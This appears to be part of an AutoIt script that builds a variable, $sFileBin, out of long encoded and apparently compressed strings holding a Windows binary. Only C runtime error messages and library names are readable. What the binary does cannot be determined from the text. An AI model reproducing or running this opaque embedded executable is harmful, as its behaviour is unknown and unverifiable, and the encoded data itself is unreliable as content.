CnQABDwNdQNC6+sAszCKAkKD+QsAD4cvAgAA/yQAjQJDAxCKyIAA6TGA+Qh3BmoAA1lK692LTSQgiwmLibwAWYsJADoBdQVqBVnrAMcPvsCD6Ct0AB1ISHQNg+gDEA+FiwGAD87rrgBqAlnHRYwAgAAAAOuig2WMAImAB+uZgimJdagAKwR2qQ0oBGoE660APCt0KDwtdCQAOsN0uTxDD44CPAAnPEV+EDxjCA+OMIEFZQ+PKAGAA2oG64FKagsg6Xn///+FVA+GRlKABgwrD4RUAAo6EMMPhGYBDlWs6QYUAB+AQesaPDl/ABqDfbQZcwr/AEW0KsOIB0frEAP/RbCAhTrDfVrijiNdgB8AT4kAT4Uc6WAABoAdASSJdaRAdSbrBv9NQw50qPbrGEAW1UIWC0UWgUUHfeTruyrDgAwgPAkPh24AEWoE' $sFileBin &= 'AOme/v//jUr+CIlNrMZcB2oJ6VaHgAWEVyCAVxCCVzsRgQwI6YLABoNNmED/agdZ6UDAAmoIB+lvgAGJdaDrAgNDIfksMTwIdhC4SusoBRV2qzoAw+u9g30gAHQiR8MVjUr/AB10wgFAF7KL0YN9qAAAi0WQiRAPhNkCA0BYGFg5RbR2ABCAffcFfAP+iEX3T8BGiUW0QT0ID4beQAjrWWoKAFlKg/kKD4W8IP3//+u+gB8zyQTrGUA/IGvJCg8AvvCNTDHQgflAUBQAAH8Jgz/jEOsFuVHAA4lNnIDrCzw5D49bAXARggbx6U/AAv9NtAHAGU+APwB09I0ARcRQ/3W0jUUg4FDoURfAYUWcADPSg8QMOVWYAH0C99gDRbA5AFWgdQMDRRg5AFWkdQMrRRw9EcEaD48iQCc9sOsJwE+MLoACuUgSBAAQg+lgiUWsOxDCD4TpALl9DffA2LmoEwQQwARABgA5VRR1BjPAZgCJRcQ5VawPhArGgAjrQOmEM9KLAEWswX2sA4PBgFSD4AeJTYRBEAKdgAdrwAwDwYsE2LiBuGY5A3IOAIvzjX24paWlAP9Nuo1duA+3IEsKM8CJQSbUiQBF2IlF3ItFzgCL8br/fwAAM4DwI8IjyoHmQQcCvwECjRQBiXWQAA+30mY7xw+DAiGgC2Y7zw+DGBEAAb/9v6EB1w+HIgqgAb6/P6EB1ndKDWELyMAV6Q7AAjMA9mY7xnUfQvcERcwgKH91FTl1AMh1EDl1xHULEYIazunrgF5mO85AdSFC90MIYgQXADlzBHUSOTN1AA6JdcyJdciJEHXE6cVCY5iNfSDYx0WoBSFfRZggi02oA8DANYXJAH5SjUQFxIlFAKSNQwiJRaCLAUAATaQPtwkPtwgAg2WAQq/Bi08A/I00ATvxcgSAO/BzB8dFtOAJAgDCZHf8dANm/wAHg0WkAoNtoAAC/02cg32cAAB/u0dH/0WY/wRNqIFPf5GBwgICwOAUhdJ+N4t9ANyF/3gri3XYAItF1NFl1MHoAB+LzgP2C/DBAOkfjQQ/C8GBOML//6EVQSsgBn/ODYEATaMCQAF9QovCAPfYD7fwA9b2UEXUAXQhe4uAMH0A2ItN2NFt3MFA4B/R7wv4gAvBAOEf0egLwU6JAn1ACdR10Tl1sIB0BWaDTdQBYjsAi8hmOU3UdxEAi03UgeH//wEAAIH5AIABAHUANIN91v91K4MEZdYgHNr/dRyDEGXaALmiDzlN3gR1B8Au3kLrDmYA/0Xe6wj/RdoJYYvWuKE9ZjvQcoAjM8AzyWY5wG2gRcgPlMEAOUljxwCBwQCA/3+JTQDM6ztmi0XWC1RVkIFSiyFIxuAXiQBFymaJVc7rHgHgOoX2D5TAg2VQyABIJSEHBQEHgwBlxACJRcyDfSCsAA+FPKByi0UAzA+3TcSLdcYAi1XKwegQ6y+wx0WUBOAFQAj2whEyuoEHM8nAAiBJAOsmDwABwTYzyUAU0jMA9ot9iAtFjGYAiQ9miUcKi0UAlIl3AolXBosATfxfXjPNW+gAgBn//8nDkNQAPAMQKD0DEH4VYACxYAD2YAAuPgNUEEJgAJ1gAIhgAAfQPwMQ/OAAq2AA5N4CdOfeU4tdHFZXAI11CI198KWlgGali1X4i8oiMDAjyIHiARUg3sZFoNDMxkXRYADSYACq02AA1GAA1WAA1mAAKtdgANhgANlgANr7MMZF2z9A0GEZiU0AkGaFyXQGxkMQAi3rBKAAIIt1EPSLffDgRHUvhQD2dSuF/3UnMwGgb8gPlcD+yCQADQQgZokTiEMAAsZDAwHGQwQAMIhTBTPAQOkQHggAAEU4D4WfgaEkwEBmiQO4IRQAO/B1BIX/dA8E98bQAEB1B2i4INkDEOtRgQcTgSL+MAHAdQtwBjtoKrBxAQ3gAjDgACxoAqjgAI1DBGoWUAjob4IRewwz9oUQwHQNVgEA6KhHg0J8gAgF6ypooLcCGkO/Any2ArBM6XEHAaBQt8qL2WnJEABNAADB6wiLxgDB6BiNBENrwABNjYQIDO287CDB+BAPt5AoD78g2GaJTeCCUvfbBaJStHAm6ol15omEfeLRP9sPhJxyU7a4UVMwAugwAmIBhWABAINFnFSLy4PhAAfB+wOFyQ+EAmcBUskMA02ciyDBiU28uUNSCHIAEYvwjX3EpaUDkF1wUsaJRbwPtxBQCjPJYGiJTfAAiU30iU34i00g6ovyM/HjUYl1BLi+ARcjziPWjWA0Cg+3/uIAoEwPhIOsclLWD4OjkVEhc1L+D4eVd1L+dwIQcJR16Il15IkwdeDp07AgoVLOdaAfR/dF6KVS5KFSIuCkUurpraJS1nUQE0f3QKNSCTlwAAR1BDkwdLQhAHWojXX0x0XAAcJRTaiLVcADyQiJVbAQS1WNTA0A4IPACIlNlInBUFNFlA+3COBTwFEAi1b8D6/Ig2WApACNBAo7wsBRCsHBUaTDUaQAiUaJwlEGgxA4g22YwFEQsIN9sMBRi0W8AEZG/0Wo/03AAIN9wAB/joHHgfNR/34790X4QScAdS2LRfSLTfCA0WXwi9ADwMBRAgvARPSLRfjB6oAfA8ALwoHHYlKkRfhQA3/KQQBNIwELoAAwUscxUsAD+PZkRfAyUqyLABiwMVUQ9NFt+JFR7gvxAeAFweIf0ekLyihIiXUQGvAwUkWsVTJS8DhS8DFS8D1S8lUyUvKADvYyUvY2UvqpMlL6RzJS+jFS9jFSwvIENvgPgqsCNnJSULiJReRyUuB8UuiAM/Y73g+Fe6FOgE3owekQuv+gHzE0BMoPgrEhQJgz0gFQGolV8IlV9IkBgEVV2g+3yYvaADPZI8gj0IHjzTIM+PAlcLUPtxAiwHdCTNIl0A+DQ4AAuGHTJfAPhzXRANMl8JR3S1F45EAJ6TnRAkCLRfILfbhADeARQBmJReJQGIlF5sBmiX3q6VaAJKAMYPZmOXW4UFsYW4kwRejpXNAL0Cc7yAh1HUaFKRM5ReSAdQ45ReB1CWIpotpiKdB1GBAC2BICBcAB1LApRdAPhHZBAAGJRaiNfbYpRVCoi03AgXusgHtKQI1N2IlNuOB74AyLTaCJQD8Jg2W8ASB7yotX/I0cClQ72lAp2VEpvFMpvAgAiV8ke224AkCQQP9NrDFlf8ABe1EGKZmBxgMp9gF7+DMCe+8oRfSwKDF7woHqxsYo9gF79sAoIgGgAFXAKMbDKPDFKLDBKH3RyCjvC/nJKH3FKAN7b88ozyjPKMooRs8ogiTwHQZ7pI8ohCgCe/ILdVKkDyB16gN72wJ75AULe+AAEej2RRgBBItVMJW0i30UZkCJAnQymAPwFH8KK0FJAkSmRZDGQgQDASZqiEICxkIABDDGQgUA6V4C+aBf/xV+A2oVAF+LdejB7hCBfO7+UCozTWAdkGtAIeAAi13ki03k0WXi4PCUA9sLwJUwM4FCQMH/TbyJXbAs6AR12MAYMvfegeYxoBEAfiggAlQDbei1UZPrUQPgVpMxA+CQHADYjUcBjVoEiQJdIDG0hcAPjrWFEQdVkBDkjXXgUl9ipXAHi33g0QcAIQwAAAvKi1Xoi/AAwe4fA9IL1osQwY00CWAJjQwSAItVxMHvHwvIAXAGC/eNPAI7+AHgKfpzGI1GATMA0jvGcgWD+AEAcwMz0kKL8IUA0nQBQYtFyI2AFDCJVbw71oACgNBzAUEDTcwBUEDJC8qNND+wX4sEdbwgGsHpGAP2IIDBMIvHcAYL8BiIC0PgxmPc5MZFCuuQw0uANEuKA0sQPDV9DgA060SAADs5dQnGAzBLYDtdwHPyMK9xAAQAQ2b/AP4DKtgAgOsDD77LiDq8AFgDxkQBBACLAEWMi038X14zAM1b6GgQ///JAMOAOzB1BUs7QNlz9otFoAAYzQAz0maJELoAgAAAAGY5VZDGQAADAQ+Vwv7KgADiDYDCIIhQAgDGATDGQAUA6QCO9///M8D2wwAQdAFA' $sFileBin &= '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' $sFileBin &= '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' $sFileBin &= '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